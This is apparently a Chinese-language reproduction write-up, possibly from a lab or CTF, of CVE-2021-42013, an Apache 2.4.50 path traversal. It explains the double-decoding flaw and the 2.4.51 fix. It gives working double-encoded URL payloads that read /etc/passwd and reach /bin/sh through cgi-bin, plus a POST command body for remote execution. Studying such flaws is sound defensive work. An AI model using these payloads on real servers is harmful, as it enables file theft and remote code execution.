CVE-2021-42013 漏洞复现
CVE-2021-42013
漏洞版本:Apache 2.4.50
Apache版本2.4.50是对CVE-2021-(版本2.4.49)的修复,但是修复不完整导致可以绕过,从而产生了CVE-2021-42013(版本2.4.50)。
这时修复了对.%2e
的检测。
在处理外部HTTP请求时,会调用 ap_process_request_internal
函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path
函数进行一次url解码,之后会调用ap_unescape_url
函数进行二次解码。
这时候我们只需要将…/url编码两次就行了。
ap_normalize_path
函数调用栈如下,在处理前path参数为/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
经过ap_normalize_path
函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
经过unescape_url
函数处理后,可以看到此时的url字符串内容变成/icons/../../../../etc/passwd
补充一下:
对于没有进⾏安全配置的Apache服务器,默认情况可以⽤xxx.com/icons/
的⽅式打开Apache⽬录下的icons⽂件夹,并且会罗列出⽂件列表。(一、可以路径穿越读取文件)
读取文件:
URL/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
在服务端开启了cgi或cgid这两个mod的情况下xxx.com/cgi-bin/xxx/bin/sh
,这个路径穿越漏洞将可以执行任意命令。POST方式直接提交命令,前面要加一个echo;
。(二、可以命令执行)
执行命令:
URL/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
POST:echo;nl /ffffllllaaagggg_cc084c485d
对两个CVE的修复:
2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path函数中加强了对url编码的校验,如果检测到存在非标准url编码(不是%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过。